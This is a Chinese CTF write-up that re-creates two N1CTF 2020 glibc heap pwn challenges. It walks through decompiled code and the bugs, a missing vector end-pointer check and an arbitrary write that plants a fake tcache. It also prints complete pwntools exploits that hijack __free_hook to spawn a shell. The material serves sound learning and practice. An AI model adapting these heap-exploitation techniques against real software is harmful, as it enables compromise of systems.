1. 程式人生 > 實用技巧 >N1CTF 2020 部分pwn 復現

N1CTF 2020 部分pwn 復現

N1CTF當時沒有去打(老懶狗了),是賽後進行的復現,借鑑了官方的wp,在本地對兩道glibc環境下的pwn題進行了復現

signin

本地是在2.27的環境下進行的復現

在這之前,先介紹一下vector

Vector

vector 是C++ stl的一個容器,實現的功能是動態陣列。

值得關注的是vector的記憶體分配規則

但vector的記憶體容量不夠時,會申請一塊新的記憶體(大小是原記憶體的2倍),然後把資料複製過去,再free掉原來的記憶體

  • vector的記憶體只會增加,不會減少
  • clear()會清空元素,但是不會釋放記憶體,vector佔用的記憶體只會在程式結束後被釋放

程式實現了vector的功能

有兩個vector可供使用

vector_1和vector_2都是管理vector的結構體(struct_vector)

vector: begin_ptr vector+8:end_ptr vector+16:memory_end

add:end_ptr+8 and read_number

__int64 __fastcall new_0(__int64 a1, __int64 a2)
{
  __int64 result; // rax
  __int64 v3; // rax

  if ( *(a1 + 8) == *(a1 + 16) )                // memory is full
  {
    v3 = get_end_ptr(a1);                       // v3 = *(a1 + 8)
    result = realloc_vector(a1, v3, a2);        // 
  }
  else                                          // memory is enough
  {
    vector_push(a1, *(a1 + 8), a2);             // *(a1+8) = a2
    result = a1;
    *(a1 + 8) += 8LL;                           // end ptr += 8
  }
  return result;
}

delete:end_ptr-=8

unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
  std::istream::operator>>(&std::cin, &v1);
  if ( v1 == 1 )
    delete_0(&vector_1);
  if ( v1 == 2 )
    delete_0(&vector_2);
  return __readfsqword(0x28u) ^ v2;
}

show:

列印end_ptr-8 地址上的內容

unsigned __int64 show()
{
  _QWORD *v0; // rax
  __int64 v1; // rax
  _QWORD *v2; // rax
  __int64 v3; // rax
  int v5; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "Index:");
  std::istream::operator>>(&std::cin, &v5);
  if ( v5 == 1 )
  {
    v0 = show_0(&vector_1);               // return *end_ptr-8
    v1 = std::ostream::operator<<(&std::cout, *v0);
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  if ( v5 == 2 )
  {
    v2 = show_0(&vector_2);
    v3 = std::ostream::operator<<(&std::cout, *v2);
    std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  }
  return __readfsqword(0x28u) ^ v6;
}

漏洞點

delete的時候,沒有對end_ptr進行檢查

在進行delete的時候,end_ptr-=8,我們可以通過delete去控制end_ptr的內容

利用思路

根據vector的擴容規則,在擴容時會申請一個大小為原來2倍的記憶體,並把原來的記憶體free掉。

這樣一來,即使我們沒有free這個選項,可以通過不停的add去得到一個unsorted bin

(libc-2.27的環境下有tcache機制,可能需要add的次數會多一些)

然後控制end_ptr指向unsorted bin的FD/BK,再用show去leak libc

此時繼續free,控制end_ptr指向tcatche的fd,劫持tctache的FD,實現任意地址寫,直接打free_hook(one_gadget要用realloc抬棧)

Expliot

from pwn import *
p = process('./signin')
#context.log_level = "debug"
elf = ELF('./signin')
libc = elf.libc
def menu(idx):
    p.sendlineafter(">>",str(idx))
def add(idx,num):
    menu(1)
    p.sendlineafter("Index:",str(idx))
    p.sendlineafter("Number:",str(num))
def free(idx):
    menu(2)
    p.sendlineafter("Index:",str(idx))
def show(idx):
    menu(3)
    p.sendlineafter("Index:",str(idx))

for i in range(260):
    add(1,1)
for i in range(516):
    free(1)
show(1)
gdb.attach(p)
libc_base = int(p.recvuntil('\n')[:-1])-96-0x10-libc.sym['__malloc_hook']
log.success('libc_base:'+hex(libc_base))
free_hook = libc.sym['__free_hook']+libc_base
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base+libc.sym['system']
one_gadget = libc_base + 0x10a45c
for i in range(270):
    free(1)
add(1,free_hook-8)
#gdb.attach(p)
add(2,u64('/bin/sh\x00'))
add(2,system)
#gdb.attach(p)
p.interactive()

easywrite

除錯環境 ==> libc-2.31.so

這個題目將符號表刪除了,需要用gdb進行恢復(第一次恢復符號表)

在IDA中檢視.got

.got:0000000000003F80 qword_3F80      dq 0                    ; DATA XREF: sub_1020↑r
.got:0000000000003F88 qword_3F88      dq 0                    ; DATA XREF: sub_1020+6↑r
.got:0000000000003F90 off_3F90        dq offset sub_1030      ; DATA XREF: sub_10D0+4↑r
.got:0000000000003F98 off_3F98        dq offset sub_1040      ; DATA XREF: sub_10E0+4↑r
.got:0000000000003FA0 off_3FA0        dq offset sub_1050      ; DATA XREF: sub_10F0+4↑r
.got:0000000000003FA8 off_3FA8        dq offset sub_1060      ; DATA XREF: sub_1100+4↑r
.got:0000000000003FB0 off_3FB0        dq offset sub_1070      ; DATA XREF: sub_1110+4↑r
.got:0000000000003FB8 off_3FB8        dq offset sub_1080      ; DATA XREF: sub_1120+4↑r
.got:0000000000003FC0 off_3FC0        dq offset sub_1090      ; DATA XREF: sub_1130+4↑r
.got:0000000000003FC8 off_3FC8        dq offset sub_10A0      ; DATA XREF: sub_1140+4↑r

在gdb中檢視got表,裡面儲存了函式的真實地址,一個個去看是什麼函式就行了

恢復符號表之後檢視IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbp
  __int64 v4; // rdx
  __int64 v5; // rdx
  _QWORD *address; // [rsp-28h] [rbp-28h]
  void *message; // [rsp-20h] [rbp-20h]
  void *message2; // [rsp-18h] [rbp-18h]
  unsigned __int64 v10; // [rsp-10h] [rbp-10h]
  __int64 v11; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v11 = v3;
  v10 = __readfsqword(0x28u);
  setbuf_0(stdout, 0LL, envp);
  setbuf_0(stdin, 0LL, v4);
  setbuf_0(stderr, 0LL, v5);
  alarm_2(0x3Cu);
  sleep_2(2u);
  printf_0("Here is your gift:%p\n", &setbuf);  // leak libc
  message = malloc_2(768uLL);
  write_0(1, "Input your message:", 19uLL);
  read_0(0, message, 767uLL);
  write_0(1, "Where to write?:", 16uLL);
  read_0(0, &address, 8uLL);
  *address = message;
  message2 = malloc_2(0x30uLL);
  write_0(1, "Any last message?:", 18uLL);
  read_0(0, message2, 47uLL);                   // read 47 bytes
  free_1(message2);
  return 0;
}

程式的邏輯大概是能自由編輯一個0x300的堆塊

然後把這個堆塊的地址寫到任意地址上

然後就是申請一個0x30的堆塊,然後free掉

利用思路

一開始洩露了libc_base

這個堆塊的大小與tcache的大小相似,可以考慮偽造tcache(學到了新姿勢)

於是在message這個chunk上佈置我們的資訊

在counts陣列上將呼叫數記為1,在tcache bins 的連結串列上佈置任意寫的地址

於是我們的message可以這樣構造

message =  '\x00'*4+'\x01'
message = message.ljust(144,'\x00')
message += p64(libc_base + free_hook-0x10)

最後就是找到一個儲存tcache地址的指標,將其覆蓋為我們的fake_tcache

gef➤  grep 0x5583411ea010# 0x5583411ea010 為tcache結構體的地址
[+] Searching '\x10\xa0\x1e\x41\x83\x55' in memory
[+] In (0x7f7088877000-0x7f708887d000), permission=rw- #可讀可寫
  0x7f708887c530 - 0x7f708887c548  →   "\x10\xa0\x1e\x41\x83\x55[...]" 

確定地址在0x7f708887c530處,減去libc_base得到偏移 在本機的環境上偏移為0x1f3530

然後message2打free_hook,getshell

Expliot

from pwn import *
elf = ELF('./easywrite')
libc =elf.libc
p = process('./easywrite')
p.recvuntil("Here is your gift:")
libc_base = int(p.recvuntil('\n')[:-1], 16) - libc.sym["setbuf"]
log.info('libc:'+hex(libc_base))
ptr = libc_base + 0x1f3530
message = '\x00'*4+'\x01'
message = message.ljust(0x12*8,'\x00')
message += p64(libc_base + libc.sym["__free_hook"] - 0x8)
p.recvuntil('Input your message:')
p.sendline(message)
p.recvuntil('Where to write?:')
p.send(p64(ptr))
p.recvuntil('message?')
p.sendline('/bin/sh\x00'+p64(libc_base + libc.sym['system']))
p.interactive()